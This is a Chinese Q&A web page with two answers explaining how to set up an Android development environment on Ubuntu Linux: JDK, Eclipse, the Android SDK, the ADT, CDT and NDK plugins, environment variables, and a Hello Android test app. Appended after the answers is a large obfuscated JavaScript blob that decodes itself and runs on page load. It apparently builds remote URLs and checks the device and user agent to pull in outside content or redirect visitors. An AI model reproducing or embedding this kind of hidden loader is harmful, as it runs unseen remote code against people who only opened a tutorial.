linux怎么搭建android开发环境

2024-12-23 08:46:20
推荐回答(2个)
回答1:

在ubuntu下搭建android开发环境,准备学习一下android开发。经过2个多小时,终于搭建成功。
1、安装JDK

首先到oracle的官网上下载linux版本的JDK(网址为:http://www.oracle.com/technetwork/java/javase/downloads/jdk-6u26-download-400750.html),这里选择 Linux x86 - Self Extracting Installer。直接运行安装,先把这个文件cp到你的安装目录下,然后在你的安装目录直接执行:

./jdk-6u26-linux-i586.bin
如果执行失败是因为没有执行权限,那么还需要加上执行权限:
chmod +x ./jdk-6u26-linux-i586.bin

安装程序会自动给你安装到当前目录的jdk1.6.0_26目录下。程序安装好了,接着需要设置环境变量。执行:

sudo gedit /etc/profile
执行中提示:(gedit:4849): Gtk-WARNING **: Attempting to store changes into `/root/.local这个错误,从网上搜索了一下,sudo mkdir -p /root/.local/share/ 也就是表示以超级用户(sudo命令)身份创建目录,这样解决了这个问题。

在配置文件最后加入如下部分:

export JAVA_HOME=/home/jackwong/jdk1.6.0_26
export JRE_HOME=/home/jackwong/jdk1.6.0_26/jre
export PATH=/home/jackwong/jdk1.6.0_26/bin:$PATH
export CLASSPATH=.:/home/jackwong/jdk1.6.0_26/lib:/home/jackwong/jdk1.6.0_26/jre/lib

保存,然后注销当前用户,重新登录,环境变量就生效了。

验证是否安装成功:

执行:

java -version

如果出现:
java version "1.6.0_26"
Java(TM) SE Runtime Environment (build 1.6.0_26-b06)
Java HotSpot(TM) Server VM (build 20.0-b11, mixed mode)
这样的信息,就说明OK了。
注意,ubuntu默认已经安装了openjdk,所以你就算不安装jdk,执行java -version也不会报错,但是报告的信息和安装了jdk是不一样的,请注意区分。

2.安装eclipse

目前官方推荐开发环境是eclipse+ADT。当然你完全可以采用其他任何一种开发环境,但是我还是选择了官方的推荐,因为一切都是免费的。下载eclipse的地址是:http://www.eclipse.org/downloads/我下载的是32bit linux :
Eclipse IDE for Java Developers。
我下载下来的文件是eclipse-java-juno-SR1-linux-gtk.tar.gz
当然首先是解压,执行命令:

tar zvxf eclipse-java-juno-SR1-linux-gtk.tar.gz

解压成功之后,就出现了一个eclipse目录。这个目录就是安装好的eclipse了,进入这个目录,执行eclipse文件,即可启动eclipse。

自己建立桌面启动快捷方式,即桌面右键创建启动器。

3.下载安装Android SDK Starter Package

Android SDK Starter Package这个只是SDK的核心基本工具,有了它,再利用它的管理工具下载其他你需要到部分。看到这个目录中有个android脚本文件了吗?执行它,就会启动Android SDK and AVD Manager,这个工具可以帮你下载其他你需要的部分,还可以创建模拟机。

下载地址是:http://developer.android.com/sdk/index.html

一般是下载最新版,我下载的:android-sdk_r21.1-linux.tgz。

接下来当然是解包了:tar zvxf android-sdk_r21.1-linux.tgz

解包完毕,就会在当前目录下出现android-sdk-linux_x86目录了。这个目录下就是sdk的基本工具了。记住这个目录,因为以后你运行工具或者设置ADT的时候,会需要这个目录的!

4.安装ADT(Android Development Tools)插件

ADT插件是google官方开发的Eclipse的一个插件,专门为Android应用开发而准备的。 启动 Eclipse, 然后选择 Help > Install New Software....。单击右上角的Add按钮,在弹出的 Add Repository 对话框中,Name一栏目填写 "ADT Plugin",在Location一栏就有两个选择,一个是填入下载网址:https://dl-ssl.google.com/android/eclipse/,这样就可以网上下载安装。第二个选择是如果我已经下载了ADT Plugin,那么就单击旁边的Archive按钮,直接找到插件所在到包即可。这里我用的是第一种方法。比如我用的就是第二种,把Developer SDK Tools前面的checkbox选上,然后单击下面的next按钮,然后就等着安装进度条完成吧,其中会出现安装软件的列表,你单击Next即可,然后会出现license,你必须选择agree才行,然后单击finish就完成了。安装完成之后,重启eclipse即可。

5.配置ADT 插件
配置的内容就是要修改在eclipse中到ADT插件的引用指向,需要指向前面安装好的Android SDK目录,还记得这个目录吗?
启动eclipse,选择Window > Preferences..
在弹出的Preferences对话框中左边选择Android标签,右边SDK location选择你当初Android SDK的目录即可。比如我到目录是:/home/AAA/android-sdk-linux_x86(AAA这里是我的用户名),然后单击apply,再单击ok即可。
在这个过程中会弹出一个对话框问你是否要参加google的满意度调查报告。你可以选择参加还是不参加。单击process按钮即可。
安装好之后,你可以常用Help > Check for Updates选项来保持ADT保持最新。

6.添加Android操作系统和部件

到目前为止,基本配置都差不多了,但是为了开发android应用,还必须添加一个android操作系统,用于模拟器模拟你的应用程序。当然还有一些其他部件需要安装。其实就是通过SDK 工具包中的Android SDK Manager来完成。当然在eclipse中可以直接启动这个程序:Window > Android SDK Manager.

当然也可以直接运行sdk目录下的tools目录下的android脚本来启动。

推荐的部件一般是:

SDK Tools,这个你安装了sdk starter package实际上已经装好了。

SDK Platform-tools,这个要装。

SDK platform,这个至少需要一个。也就是操作系统,你可以下载多个,比如2.2,3.1你可以都下载,但是至少必须一个,因为模拟器运行的时候是必须要的。所以,如果你想各种平台都模拟测试一下,那么你就需要各种版本的android都下载一个。

我下载了SDK Platform-tools和Android 2.3.3,Android 4.1,Extras几个包。

下载完成之后,Android的开发环境就搭建好了。

7.对模拟器进行设置
选择windows->Android Virtual Device Manager 点击new,具体配置如图.

完成后点击start,虚拟机运行后,可将语言调整为中文简体。

8.hello,android测试程序
启动eclipse,选择File->New->Project...,选择android下Android Application Project.

Application name:Hello,Android 这是应用程序名字,也是程序运行的时候显示在屏幕上方的文字,注意第一个字母要大写。
project name:HelloAndroid 这是项目名称,也就是包含文件的目录名称
Package Name:my.android 这个不用解释,学过java的都应该知道,这是类的包名。
其它地方默认就可以了。

然后一路next,在Activity name处设置为:Helloandroidactivity(注意要求第一个字母大写)就可以了。
完成后,在my.android下找到Helloandroidactivity.java,打开后,把里面的onCreate方法的代码更新如下:

import android.widget.TextView;

public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
TextView tv = new TextView(this);
tv.setText("Hello, Android!=你好,安卓!");
setContentView(tv);

}
然后运行,等一段时间,会出现android虚拟机,并运行该程序。

回答2:

一、安装jdk,具体步骤如下:
1,将jdk-7u4-linux-i586.tar拷贝到linux下得/home/yan/download目录,新建一个目录/home/yan/android.所以和android相关的都安装到/home/yan/android这个目录,所有的源安装文件都放到download下。切换到root,在download目录下输入命令:tar -zxvf jdk-7u4-linux-i586.tar -C ../android, 将其解压到android目录。
2,配置环境变量,Linux下需要修改/etc/profile文件,使用 gedit /etc/profile
在这个文件的最后,输入:
export JAVA_HOME=/home/yan/android/jdk1.7.0_04
export PATH=$PATH:$JAVA_HOME/bin
点击保存后,输入:source /etc/profile使生效。输入:java -version
验证java环境是否配置好。
二、安装AndroidSDK
1,将android-sdk_r18-linux复制到download文件夹下,进入download然后: tar -zxvf android-sdk_r18-linux.tgz -C 。。/android/ 进行解压。
接下来 cd /home/yan/android/android-sdk-linux/tools, 然后运行:。/android,这个是用来启动android sdk manager的,也就是说这个东西是用来下载真正的android开发包。运行的时候,会出现:
(java:2925): Gtk-WARNING **: 无法在模块路径中找到主题引擎:“pixmap”,
(java:2925): Gtk-WARNING **: 无法在模块路径中找到主题引擎:“pixmap”,
(java:2925): Gtk-WARNING **: 无法在模块路径中找到主题引擎:“pixmap”,
(java:2925): Gtk-WARNING **: 无法在模块路径中找到主题引擎:“pixmap”,
这种警告,这是gtk版本太低所导致的。
先关闭android sdk manager,终端输入:sudo apt-get install gtk2-engines-pixbuf 升级一下gtk。
2,升级完毕后,再次打开android sdk manager,这个是在线安装,一定确保联网。里面的api8 对应android2.2版本,api13对应android3.2版本,api10对应android2.3.3版本。这几个都是经典的android版本。最上面的事api15对应android4.0.3版本,这个是最新的。默认已经给我们选择了。这里我们选择前四个。最上面的四个打勾,然后确定。就会自动下载了。下载完成后,会提示重启这个android sdk manager
三、安装eclipse
1,将eclipse-jee-indigo-SR2-linux-gtk.tar复制到download,然后解压到android下。不再重复。
解压命令:tar -zxvf eclipse-jee-indigo-SR2-linux-gtk.tar.gz -C 。。/android/
2,进到android/eclipse目录下,输入命令。/eclipse查看 装成功了没有。
四、安装ADT 和 (NDK)
1,在google里的android sdk下载地址里,找到ADT-18.0.0,这个是和android sdk4.0.3相对应的版本,是个zip文件。拷贝到download文件夹下。
2,打开eclipse,点help--install new software,点add--archive,这里用的是离线安装的方法,也可以在线安装。离线安装会比较快吧。点select all,然后点next就进行安装了。点好后,会出现一个Installing software的提示框,显示进度。安装完成后,会提示重启。
注:adt是android develop tool的意思,实现沟通 eclipse和 android sdk的桥梁,所以必须得安装好。
3,设置android sdk location,即告诉eclipse android的sdk在什么地方。重启后,会提示:Welcome to android development,选第二个;use eixsting SDKs,设置路径。
原来adt18.0.0这个版本过时了,这是2012年4月份时的版本,需要安装最新的7月发布的那个。
在workwith里输入:https://dl-ssl.google.com/android/eclipse/,他会自动检测,列出的有DevelopTools,里面有ddms、adt等共四个,另外一个是NDK-plugins 反正要用到,索性一块安了。NDK是本地化的一个工具,说白了是一个交叉编译器,编译本地的c/c++代码成一个动态链接库,供android下得java程序调用。当然程序要满足JNI接口。
提示不能安装ndk,ndk安装前 需要安装cdt插件!这个步骤里只能升级下 adt了。从adt18.0.0 升级到20.0.0.
重启,后打开eclipse,点window-preferrence,点android,制定android sdk文件夹路径。点new project看能否找到android application。。,如能,则这一步安装成功。
五、安装CDT插件
google 一下cdt,进入下载链接,下载cdt8.0.0版本,按照上面安装adt的方法 进行安装。安装成功的标志是,可以新建c/c++工程。
六、NDK插件的安装
google NDK的下载地址,下载后拷到download文件夹下,然后直接解压缩就可以了。export PATH=$PATH:/home/yan/android/android-ndk-r8,然后 source。
上面就是Linux/Ubuntu 11.10搭建Android4.0.3开发环境的方法介绍了,在安装AndroidSDK前,需先安装jdk,然后再进行相关软件的安装及配置。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();